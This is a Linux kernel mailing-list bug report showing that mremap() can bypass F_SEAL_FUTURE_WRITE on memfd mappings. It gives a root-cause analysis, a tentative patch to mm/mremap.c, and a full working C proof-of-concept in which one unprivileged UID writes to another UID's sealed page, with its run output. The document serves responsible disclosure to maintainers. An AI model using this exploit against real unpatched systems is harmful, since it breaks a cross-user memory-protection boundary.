* mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
@ 2026-11-07 3:07 Junyoung Jang
0 siblings, 0 replies; only message in thread
From: Junyoung Jang @ 2026-11-07 3:07 UTC (permalink / raw)
To: Andrew Morton, Liam R . Howlett, Lorenzo Stoakes, Hugh Dickins,
David Hildenbrand
Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
linux-kernel, Junyoung Jang
Hello,
I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
holding a one-page shared writable memfd mapping created before the seal can
use mremap() after the seal to gain writable access to additional file pages.
In the accompanying two-UID reproducer, the second page belongs to a memfd
created by a different unprivileged user. While a new writable mmap() and
pwrite() to that second page both fail with -EPERM, the mremap() path
succeeds and modifies the page's contents.
Affected tree tested:
- Linux 7.4.0-rc1-gd48723711bae, built directly from upstream commit
d48723711bae9b8cdc56719c448ba42fef28cbee using x86_64_defconfig.
- A second image built from the same commit with the proposed mm/mremap.c
diff, reported by uname as 7.4.0-rc1-gd48723711bae-dirty.
- Each before/after pair was booted in QEMU with the same statically
linked C PoC.
Root cause:
The missing seal check is in mm/mremap.c:check_prep_vma() (lines 1808-1872
of the tested commit). mmap() calls memfd_check_seals_mmap() at
mm/mmap.c:499; for F_SEAL_FUTURE_WRITE, mm/memfd.c:384-385 rejects a
new shared writable mapping with EPERM. check_prep_vma() has no equivalent
check before it permits a larger mapping.
For the PoC's old_len=0 call, this condition at mm/mremap.c:1819 only
rejects duplication of a non-shared VMA:
if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
It is false for the PoC's MAP_SHARED VMA. check_prep_vma() then checks
VMA bounds and expansion limits and returns 0 at mm/mremap.c:1872 without
checking vma->vm_file for write seals. For this zero-length call,
expand_vma() moves the VMA and reaches copy_vma_and_data(), which calls
copy_vma() with the larger new_len (mm/mremap.c:1293-1295):
new_vma = copy_vma(&vma, vrm->new_addr, vrm->new_len, new_pgoff,
new_anon_pgoff, &pmc.need_rmap_locks,
vrm->flags & MREMAP_DONTUNMAP);
copy_vma() can duplicate the original VMA and extend its range
(mm/vma.c:2052-2055), retaining VM_WRITE and VM_MAYWRITE. The newly
covered second memfd page is writable despite F_SEAL_FUTURE_WRITE.
Ordinary expansion with old_len=one page also succeeded on the unpatched
kernel. A read-only shared mapping with VM_MAYWRITE can likewise be
expanded and then changed to PROT_WRITE with mprotect().
Impact:
This allows a process to write to file pages outside its pre-seal mapping
across a UID boundary, affecting scenarios where a memfd owner grants
limited writable access to a specific range before sealing and relies on
F_SEAL_FUTURE_WRITE to prevent future writable mappings of other pages.
Reproducer summary:
1. Start as root only to set up two distinct unprivileged UIDs (10002 for
the owner, 10001 for the writer); both drop all capabilities.
2. UID 10002 creates a two-page memfd and initializes page two to 'A'.
3. UID 10002 passes the fd to UID 10001 via SCM_RIGHTS.
4. UID 10001 maps only page one with MAP_SHARED and PROT_WRITE.
5. UID 10002 adds F_SEAL_FUTURE_WRITE.
6. UID 10001 confirms a fresh writable mmap() of page two and pwrite() to it
both fail with -EPERM.
7. UID 10001 calls mremap(old_addr, 0, 2 * page_size, MREMAP_MAYMOVE),
writes 'Z' through the expanded mapping, and UID 10002 reads 'Z' back
from the second file page.
Build and run:
$ cc -O0 -g -Wall -Wextra -Werror -static memfd_future_write_mremap_poc.c -o poc
$ sudo ./poc
writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
owner uid=10002; file page 2=Z; size=8192; result=255
Suggested fix direction:
I believe mremap() needs to check the memfd write seal before duplicating
(old_len=0) or expanding (new_len > old_len) a shared VMA that has
VM_MAYWRITE.
I tested the rough diff below in check_prep_vma() on the same commit and
confirmed that it blocks the reproducer (mremap fails with -EPERM). However,
I am sending this as a bug report rather than a formal [PATCH] because I am
unsure about potential side effects:
1. Because a PROT_READ shared mapping with VM_MAYWRITE could be expanded and
later made writable via mprotect(), the diff temporarily sets VMA_WRITE_BIT
on a local flags copy to force memfd_check_seals_mmap() to return -EPERM.
However, this rejects legitimate read-only mremap() expansions outright,
whereas mmap() would normally allow a read-only mapping and simply clear
VM_MAYWRITE.
2. I am not certain whether check_prep_vma() is the right place regarding
locking/synchronization against a concurrent F_ADD_SEALS call.
I would appreciate your guidance on the proper way to handle this, or feel
free to take it from here:
diff --git a/mm/mremap.c b/mm/mremap.c
index 70b7264aa..6ed390ed4 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -14,6 +14,7 @@
#include <linux/shm.h>
#include <linux/ksm.h>
#include <linux/mman.h>
+#include <linux/memfd.h>
#include <linux/swap.h>
#include <linux/capability.h>
#include <linux/fs.h>
@@ -1807,6 +1808,17 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
old_len = vrm->old_len;
new_len = vrm->new_len;
+ if (new_len > old_len && vma->vm_file &&
+ vma_test_all(vma, VMA_SHARED_BIT, VMA_MAYWRITE_BIT)) {
+ vma_flags_t flags = vma->flags;
+ int err;
+
+ /* A larger VMA could become writable via mprotect(). */
+ vma_flags_set(&flags, VMA_WRITE_BIT);
+ err = memfd_check_seals_mmap(vma->vm_file, &flags);
+ if (err)
+ return err;
+ }
/*
* !old_len is a special case where an attempt is made to 'duplicate'
Reproducer code (memfd_future_write_mremap_poc.c):
// SPDX-License-Identifier: GPL-2.0
/*
* Check whether a mapping created before F_SEAL_FUTURE_WRITE can be
* duplicated over a second page by a different UID after the seal.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/capability.h>
#include <linux/memfd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define OWNER_UID 10002
#define WRITER_UID 10001
static int drop_to(uid_t uid)
{
struct __user_cap_header_struct hdr = {
.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
};
struct __user_cap_data_struct caps[2] = { { 0 }, { 0 } };
if (setgroups(0, NULL) || setresgid(uid, uid, uid) ||
setresuid(uid, uid, uid))
return -1;
if (getuid() != uid || geteuid() != uid ||
syscall(SYS_capget, &hdr, caps) ||
caps[0].effective || caps[1].effective)
return -1;
return 0;
}
static int send_fd(int sock, int fd)
{
char data = 'F';
char control[CMSG_SPACE(sizeof(fd))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
return sendmsg(sock, &msg, 0) == 1 ? 0 : -1;
}
static int recv_fd(int sock)
{
char data;
char control[CMSG_SPACE(sizeof(int))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg;
int fd;
if (recvmsg(sock, &msg, 0) != 1 || data != 'F')
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg || cmsg->cmsg_level != SOL_SOCKET ||
cmsg->cmsg_type != SCM_RIGHTS ||
cmsg->cmsg_len != CMSG_LEN(sizeof(fd)))
return -1;
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
return fd;
}
static int writer(int sock, size_t page)
{
char *old, *expanded;
char event;
int fd;
unsigned int result = 0;
if (drop_to(WRITER_UID) || getuid() != WRITER_UID)
return 1;
result |= 1;
fd = recv_fd(sock);
if (fd < 0)
return 2;
old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (old == MAP_FAILED)
return 3;
result |= 2;
if (write(sock, "R", 1) != 1 || read(sock, &event, 1) != 1 ||
event != 'S')
return 4;
result |= 4;
void *fresh = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED,
fd, page);
if (fresh != MAP_FAILED) {
munmap(fresh, page);
fprintf(stderr, "writer: fresh writable mmap unexpectedly succeeded\n");
return 5;
}
if (errno != EPERM) {
fprintf(stderr, "writer: fresh writable mmap errno=%d\n", errno);
return 6;
}
result |= 8;
errno = 0;
ssize_t written = pwrite(fd, "X", 1, page);
if (written != -1 || errno != EPERM) {
fprintf(stderr, "writer: pwrite returned %zd errno=%d\n",
written, errno);
return 7;
}
result |= 16;
expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
if (expanded == MAP_FAILED) {
fprintf(stderr, "writer: mremap errno=%d\n", errno);
return 8;
}
expanded[page] = 'Z';
result |= 32;
if (write(sock, "Z", 1) != 1)
return 9;
printf("writer uid=%u; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=%u\n",
getuid(), result);
fflush(stdout);
munmap(expanded, 2 * page);
munmap(old, page);
close(fd);
return result == 63 ? 0 : 10;
}
int main(void)
{
int pair[2], fd, status;
char event, byte = 0;
struct stat st;
pid_t pid;
size_t page = sysconf(_SC_PAGESIZE);
unsigned int result = 0;
alarm(10);
if (geteuid() != 0)
return 77;
if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, pair))
return 1;
pid = fork();
if (pid < 0)
return 2;
if (!pid) {
close(pair[0]);
_exit(writer(pair[1], page));
}
close(pair[1]);
if (drop_to(OWNER_UID) || getuid() != OWNER_UID)
return 3;
result |= 1;
fd = memfd_create("seal-cross-uid", MFD_ALLOW_SEALING);
if (fd < 0 || ftruncate(fd, 2 * page) ||
pwrite(fd, "A", 1, page) != 1)
return 4;
result |= 2;
if (send_fd(pair[0], fd) || read(pair[0], &event, 1) != 1 ||
event != 'R')
return 5;
result |= 4;
if (fcntl(fd, F_ADD_SEALS, F_SEAL_FUTURE_WRITE))
return 6;
result |= 8;
if (write(pair[0], "S", 1) != 1)
return 7;
if (read(pair[0], &event, 1) != 1 || event != 'Z') {
if (waitpid(pid, &status, 0) == pid && WIFEXITED(status))
fprintf(stderr, "owner: writer exited %d before Z\n",
WEXITSTATUS(status));
return 7;
}
result |= 16;
if (pread(fd, &byte, 1, page) != 1 || byte != 'Z')
return 8;
result |= 32;
if (fstat(fd, &st) || st.st_size != (off_t)(2 * page))
return 9;
result |= 64;
if (waitpid(pid, &status, 0) != pid ||
!WIFEXITED(status) || WEXITSTATUS(status))
return 10;
result |= 128;
printf("owner uid=%u; file page 2=%c; size=%lld; result=%u\n",
getuid(), byte, (long long)st.st_size, result);
fflush(stdout);
return result == 255 ? 0 : 11;
}
Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2026-11-07 3:07 UTC | newest]
Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-07 3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®